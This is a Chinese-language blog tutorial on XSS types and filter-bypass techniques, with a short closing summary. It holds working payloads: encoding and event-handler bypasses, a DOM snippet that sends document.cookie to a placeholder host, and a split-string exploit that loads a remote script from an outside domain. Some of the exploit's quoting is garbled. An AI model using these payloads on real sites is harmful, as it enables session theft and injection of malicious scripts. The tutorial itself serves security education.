XSS基础

一、XSS是什么?

XSS是一种经常出现在web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码。
这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。

二、XSS漏洞原理

1.反射型

常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个 GET请求来提交带有恶意代码的链接。造成反弹型XSS 主要是GET类型。
一般使用的将构造好的URL发给受害者,是受害者点击触发,而且只执行一次,非持久化。

2.存储型

存储型xss比反射型跨站脚本更具威胁性,并且可能影响到web服务器的自身安全。 此类XSS不需要用户点击特定的URL就能执行跨站脚本,攻击者事先讲恶意JavaScript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意的代码的页面就会执行恶意代码。常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。

3.DOM型

DOM型是特殊的反射型XSS 在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
例如:

<script>
var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);
</script>

三.XSS绕过

1.利用<>标记注射html/JavaScript

<script>alert("xss")</script>

2.利用html属性标签执行xss

很多html标签的属性都支持JavaScript:[code]伪协议的形式,这个特殊的协议类型声明了url的主体是任意的JavaScript代码,由JavaScript的解释器运行。

<img src="javascript:alert('xss');">
<table background=:javascript:alert('xss')"></table>

通常只有引用文件的属性才能触发跨站脚本

3.空格回车Tab 关键字拆分

JavaScript语句通常以分号结尾,若JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,那么就可以省略分号。
除了在引号中分隔单词或强制结束语句之外,额外的空白无论以任何方式添加都无所谓

<img src="java
sc    ript:aler
t(/xss/)">

执行时任相当于
<img src="javascript:alert(/xss/)">

4.对标签属性值转码

html属性值本省支持ASCII码形式
TAB ASCII码为&#9
换行符 为&#10
回车符为 &# 13

<img src = "&#13;java&#10;script:alert('xss')">

5.产生自己的事件

<input type="button" value="cllick me" onclick="alert('xss')" />

<img src="#" onerror=alert(/xss/)>

6.css跨站剖析

各个浏览器之间不能通用

<div style="backgroundimage:url(javascript:alert('xss'))">

7.扰乱过滤规则

样式表中的/**/会被浏览器过滤
样式标签中的\ \0

8.字符编码

eval()
stringformcharcode()

9.拆分跨站法

著名安全研究员剑心曾发布一篇文章叫做《疯狂的跨站之行》,里面讲述了一种特别的Xss利用技巧,就是当应用程序没有过滤Xss关键字符人(如<、>)却对输入字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码。

当时剑心发现某个网站存在Xss漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的 就占用了17个字符,剩下的只有13个字符可以支配,如此一来,这个Xss只能用来弹出一个对话框。幸运的是,网站的评论处可以重复留言,也就是说可以提交多个脚本标记,于是剑心造出以下Expliot:

<script>z=’document.write’</script>
<script>z=z+’write(” ‘</script>
<script>z=z+<script></script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+.net/1.</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript’</script>
<script>eval(z)</script>

上述代码的作用是引入一个字符串变量Z,并且将下行代码拆分开来:

document.write('<scrip>  src=//www.shell.net/1.js></scrip>')

然后分几次将其嵌入到变量Z中,最后通过eval(Z)巧妙地执行代码。

4.XSS漏洞防御

1.过滤

2.实体化编码

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS(Cross-Site Scripting)是一种常见的网站安全漏洞,攻击者通过在网页中注入恶意脚本来攻击用户。以下是关于 XSS基础知识: 1. XSS 的原理:XSS 攻击利用了网站对用户输入的信任,攻击者将恶意脚本注入到网页中,当用户浏览该网页时,恶意脚本会在用户的浏览器中执行,从而达到攻击的目的。 2. XSS 的分类:XSS 可以分为三种主要类型:存储型(Stored XSS)、反射型(Reflected XSS)和 DOM 型(DOM-based XSS)。存储型 XSS 注入的恶意脚本被存储在目标网站的数据库中,当其他用户访问该页面时,恶意脚本会被执行。反射型 XSS 注入的恶意脚本通过 URL 参数传递给目标网站,目标网站在返回的页面中直接输出了这些恶意脚本,用户点击链接时脚本被执行。DOM 型 XSS 则是利用了网页的 DOM 结构,通过修改 DOM 中的内容来触发漏洞。 3. XSS 的危害:XSS 攻击可以导致许多危害,包括盗取用户的敏感信息(如用户名、密码、cookie)、篡改网页内容、进行钓鱼攻击、传播恶意软件等。 4. 防御 XSS 的措施:为了防止 XSS 攻击,可以采取以下措施: - 输入验证和过滤:对用户输入的数据进行验证和过滤,过滤掉不可信的字符和脚本。 - 输出转义:将用户输入的数据进行转义,确保输出到网页时不会被浏览器解析为可执行的脚本。 - 使用 HTTP 头部中的 Content Security Policy(CSP)来限制网页的资源加载和执行。 - 设置 HttpOnly 属性来限制 JavaScript 对 cookie 的访问。 - 定期更新和修复网站的漏洞,以防止攻击者利用已知的 XSS 漏洞。 以上是关于 XSS基础知识,深入了解 XSS 攻击的原理和防御措施对于网站安全至关重要。在进行渗透测试时,理解 XSS 的工作原理和常见漏洞场景可以帮助你更好地发现和利用 XSS 漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值